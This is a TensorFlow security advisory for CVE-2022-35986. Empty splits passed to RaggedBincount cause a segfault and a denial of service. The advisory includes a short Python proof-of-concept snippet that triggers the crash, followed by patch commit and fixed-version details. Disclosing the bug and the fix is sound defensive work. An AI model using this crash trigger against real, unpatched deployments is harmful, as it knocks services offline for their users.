TensorFlow vulnerable to segfault in `RaggedBincount`

TensorFlow

CVE-2022-35986 · Published Sep 16, 2022 · updated Jul 7, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

If RaggedBincount is given an empty input tensor splits, it results in a segfault that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

binary_output = True

splits = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-7430)

values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)

size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)

weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)

tf.raw_ops.RaggedBincount(splits=splits, values=values, size=size, weights=weights, binary_output=binary_output)

Patches

We have patched the issue in GitHub commit [7a4591fd4f065f4fa903593bc39b2f79530a74b8](https://github.com/tensorflow/tensorflow/commit/7a4591fd4f065f4fa903593bc39b2f79530a74b8).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
